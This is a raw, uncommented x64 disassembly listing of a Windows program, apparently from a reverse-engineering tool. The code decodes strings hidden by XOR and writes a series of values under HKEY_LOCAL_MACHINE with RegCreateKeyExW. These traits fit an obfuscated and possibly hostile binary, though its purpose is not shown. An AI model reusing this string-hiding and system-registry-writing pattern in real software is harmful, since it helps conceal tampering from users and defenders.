mov qword [rdi + 0xf8], 9
mov rax, qword [rsp + 0x220]
mov qword [rdi + 0x100], rax
mov qword [rdi + 0x108], 0xc
mov rax, qword [rsp + 0x218]
mov qword [rdi + 0x110], rax
mov qword [rdi + 0x118], 0xf
mov rax, qword [rsp + 0x210]
mov qword [rdi + 0x120], rax
mov qword [rdi + 0x128], 0xc
mov rax, qword [rsp + 0x208]
mov qword [rdi + 0x130], rax
mov qword [rdi + 0x138], 0xb
mov rax, qword [rsp + 0x200]
mov qword [rdi + 0x140], rax
mov qword [rdi + 0x148], 0x11
mov rax, qword [rsp + 0x1f8]
mov qword [rdi + 0x150], rax
mov qword [rdi + 0x158], 0xd
mov rax, qword [rsp + 0x1f0]
mov qword [rdi + 0x160], rax
mov qword [rdi + 0x168], 0xb
mov rax, qword [rsp + 0x1e8]
mov qword [rdi + 0x170], rax
mov qword [rdi + 0x178], 0xd
mov rax, qword [rsp + 0x1e0]
mov qword [rdi + 0x180], rax
mov qword [rdi + 0x188], 0x12
mov qword [rsp + 0x288], rsi
mov qword [rdi + 0x190], rsi
mov qword [rdi + 0x198], 7
lea rax, [0x141cef83d]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x1cc45ffb40ac285a
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006e50
movabs rcx, 0xd10c2fe336f8c878
xor rcx, qword [rax]
movabs rdx, 0x545043aacafcd6fb
xor rdx, qword [rax + 8]
movabs r8, 0xb1281533d8809ab8
xor r8, qword [rax + 0x10]
movzx eax, byte [rax + 0x18]
xor al, 0x74
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rdx
mov qword [rsp + 0x138], r8
mov byte [rsp + 0x140], al
mov dword [rsp + 0x194], 0x41888887
lea rax, [0x141cf6b21]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x974f177f66bf3234
mov qword [rsp + 0x50], rax
lea r13, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140006f40
mov rcx, qword [rax]
mov qword [rsp + 0x2a0], rcx
mov rcx, qword [rax + 8]
mov qword [rsp + 0x2a8], rcx
mov rcx, qword [rax + 0x10]
mov qword [rsp + 0x2b0], rcx
mov rbp, qword [rax + 0x18]
mov r12, qword [rax + 0x20]
mov r15, qword [rax + 0x28]
mov r14, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rsi, qword [rax + 0x40]
movzx eax, byte [rax + 0x48]
mov byte [rsp + 0x4f], al
movzx eax, byte [0x141d0ba30]
mov edx, 0x49
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
movabs rcx, 0xeb5912cdf5d372ae
xor rsi, rcx
movabs rcx, 0x62f1798eaf0770c1
xor rbx, rcx
movabs rcx, 0x4b837ecc90836994
xor r14, rcx
movabs rcx, 0x152cef7579c28126
xor r15, rcx
movabs rcx, 0x2f8fd7544304a635
xor r12, rcx
movabs rcx, 0xbf64a134a2f242e3
xor rbp, rcx
movabs rcx, 0xd16f6cfb09e038e5
mov rdx, qword [rsp + 0x2b0]
xor rdx, rcx
movabs rcx, 0x39fca6d64415176a
mov r8, qword [rsp + 0x2a8]
xor r8, rcx
movabs rcx, 0x8605efd5ae88f9ab
mov r9, qword [rsp + 0x2a0]
xor r9, rcx
movzx ecx, byte [rsp + 0x4f]
xor cl, 0xed
mov qword [rax], r9
mov qword [rax + 8], r8
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], r12
mov qword [rax + 0x28], r15
mov qword [rax + 0x30], r14
mov qword [rax + 0x38], rbx
mov qword [rax + 0x40], rsi
mov byte [rax + 0x48], cl
mov qword [rsp + 0x1a8], 0x49
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 0x49
xor r12d, r12d
jmp 0x14000e461
add r12, 0x10
cmp r12, 0x1a0
je 0x14000e758
lea rax, [rdi + r12]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0x148], rax
lea rax, [0x140006470]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x2b8]
mov qword [rsp + 0x158], rax
lea rax, [0x140004100]
mov qword [rsp + 0x160], rax
lea rax, [0x141cf9200]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rbx, [rsp + 0x148]
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 2
lea rcx, [rsp + 0x178]
mov rdx, r13
call fcn.140010620
mov r15, qword [rsp + 0x178]
mov rsi, qword [rsp + 0x180]
mov rax, qword [rsp + 0x188]
add rax, rsi
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], rax
mov word [rsp + 0x60], 0
mov dword [rsp + 0x68], 1
mov rcx, rbx
mov rdx, r13
call fcn.14002ae20
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x270], 0
mov rbx, qword [rsp + 0x150]
lea rax, [rsp + 0x270]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r13
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov ebp, eax
test eax, eax
je 0x14000e620
mov r14, rbp
shl r14, 0x20
or r14, 2
cmp qword [rsp + 0x148], 0
je 0x14000e5bd
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
test ebp, ebp
jne 0x14000e636
mov r8d, 0x19
mov rcx, r14
lea rdx, [rsp + 0x128]
lea r9, [rsp + 0x194]
call fcn.1400077f0
test rax, rax
jne 0x14000e662
movabs rax, 0xffffffff7fffffff
cmp r14, rax
ja 0x14000e5fc
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15, r15
je 0x14000e450
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000e450
mov r14, qword [rsp + 0x50]
cmp qword [rsp + 0x148], 0
jne 0x14000e5ab
jmp 0x14000e5bd
movzx eax, byte [0x141d0ba30]
mov edx, 8
xor ecx, ecx
call fcn.14003b500
test rax, rax
je 0x14000eb9a
mov r12, rax
mov qword [rax], r14
mov r13, qword [rsp + 0x1c8]
jmp 0x14000e6a7
mov rbx, rax
movzx eax, byte [0x141d0ba30]
mov edx, 8
xor ecx, ecx
call fcn.14003b500
test rax, rax
mov r13, qword [rsp + 0x1c8]
je 0x14000eb9a
mov r12, rax
mov qword [rax], rbx
movabs rax, 0xffffffff7fffffff
cmp r14, rax
ja 0x14000e6a7
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test r15, r15
je 0x14000e6be
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsp + 0x1a8], 0
mov r15, qword [rsp + 0x1d8]
je 0x14000e6e8
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x141d0ba00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [r12]
mov eax, esi
and eax, 3
cmp eax, 1
jne 0x14000e744
mov rbx, qword [rsi - 1]
mov r14, qword [rsi + 7]
mov rax, qword [r14]
test rax, rax
je 0x14000e70b
mov rcx, rbx
call rax
dec rsi
cmp qword [r14 + 8], 0
je 0x14000e732
cmp qword [r14 + 0x10], 0x11
jb 0x14000e720
mov rbx, qword [rbx - 8]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r12
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14000e78a
cmp qword [rsp + 0x1a8], 0
je 0x14000e77a
mov r8, qword [rsp + 0x1b0]
mov rcx, qword [0x141d0ba00]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r13, qword [rsp + 0x1c8]
mov r15, qword [rsp + 0x1d8]
mov rbx, qword [rsp + 0x1d0]
mov ecx, 3
call fcn.14002c710
lea rax, [0x141b88984]
mov qword [rsp + 0x28], rax
lea rax, [0x141b88978]
mov qword [rsp + 0x20], rax
lea rdx, [0x140058748]
lea r9, [0x141b88958]
lea r14, [rsp + 0x148]
mov r8d, 0x1b30210
mov rcx, r14
call fcn.140021680
lea rax, [0x141cf91e0]
mov qword [rsp + 0x28], rax
lea rax, [0x141cf91d4]
mov qword [rsp + 0x20], rax
lea rdx, [0x141b889a4]
lea r9, [0x141cf91b4]
lea rsi, [rsp + 0x50]
mov r8d, 0x170810
mov rcx, rsi
call fcn.140021680
lea rax, [0x141cf5ae6]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x128]
mov rcx, qword [rsp + 0x128]
movabs rax, 0x579875c188e94fd0
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x128]
mov rdx, qword [rsp + 0x128]
call fcn.140007310
movabs rcx, 0xaf56704a0575287
xor rcx, qword [rax]
movabs rdx, 0x41446ca364a335ce
xor rdx, qword [rax + 8]
mov qword [rsp + 0x128], rcx
mov qword [rsp + 0x130], rdx
lea rdx, [rsp + 0x128]
mov r8d, 0x10
mov rcx, r14
call fcn.14000f460
lea rax, [0x141cf7234]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x128]
mov rcx, qword [rsp + 0x128]
movabs rax, 0x6b00bcf9461980a4
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x128]
mov rdx, qword [rsp + 0x128]
call fcn.140007170
movabs rcx, 0xac2731b0d6540c5f
xor rcx, qword [rax]
mov edx, 0x83383b8
xor edx, dword [rax + 8]
movzx eax, word [rax + 0xc]
mov r8d, eax
xor r8b, 0xda
shr eax, 8
xor al, 0x4c
mov qword [rsp + 0x128], rcx
mov dword [rsp + 0x130], edx
mov byte [rsp + 0x134], r8b
mov byte [rsp + 0x135], al
lea rdx, [rsp + 0x128]
mov r8d, 0xe
mov rcx, rsi
call fcn.14000f460
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rdi
mov rsi, qword [sym.imp.KERNEL32.dll_HeapFree]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r15
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, rbx
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x298]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1a0]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x198]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1c0]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x268]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x260]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x258]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x250]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x290]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x248]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x240]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x238]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x230]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x228]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x220]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x218]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x210]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x208]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x200]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1f8]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1f0]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1e8]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x1e0]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, qword [rsp + 0x288]
call rsi
mov rcx, qword [0x141d0ba00]
xor edx, edx
mov r8, r13
call rsi
movaps xmm6, xmmword [rsp + 0x2d0]
add rsp, 0x2e8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movabs r12, 0xd00000002
lea r15, [rsp + 0x148]
test r14, r14
jne 0x14000cb66
jmp 0x14000cb78
movabs r12, 0xde00000002
lea r15, [rsp + 0x148]
test r14, r14
jne 0x14000cb66
jmp 0x14000cb78
ud2
call fcn.14003b490
call qword [sym.imp.KERNEL32.dll_GetLastError]
ud2
lea rax, [0x141ceefd9]
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x50]
movabs rax, 0x2bb270b1d0458147
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov rdx, qword [rsp + 0x50]
call fcn.140007490
movabs rcx, 0xbd496520f0530990
xor rcx, qword [rax]
movabs rdx, 0x6beb0023ac489716
xor rdx, qword [rax + 8]
movabs r8, 0xb0c26da07603df54
xor r8, qword [rax + 0x10]
movabs r9, 0x6ad4aa6653b4707b
xor r9, qword [rax + 0x18]
mov r10d, 0xc9aa0ea
xor r10d, dword [rax + 0x20]
movzx eax, word [rax + 0x24]
mov r11d, eax
xor r11b, 0x89
shr eax, 8
xor al, 0x59
mov qword [rsp + 0x148], rcx
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0x158], r8
mov qword [rsp + 0x160], r9
mov dword [rsp + 0x168], r10d
mov byte [rsp + 0x16c], r11b
mov byte [rsp + 0x16d], al
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], 0x26
mov qword [rsp + 0x178], r14
lea rax, [0x1400040e0]
mov qword [rsp + 0x180], rax
lea rax, [0x1400586d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 2
mov qword [rsp + 0x70], 0
lea rax, [rsp + 0x178]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x50]
call fcn.140031190
call fcn.14003b490
int3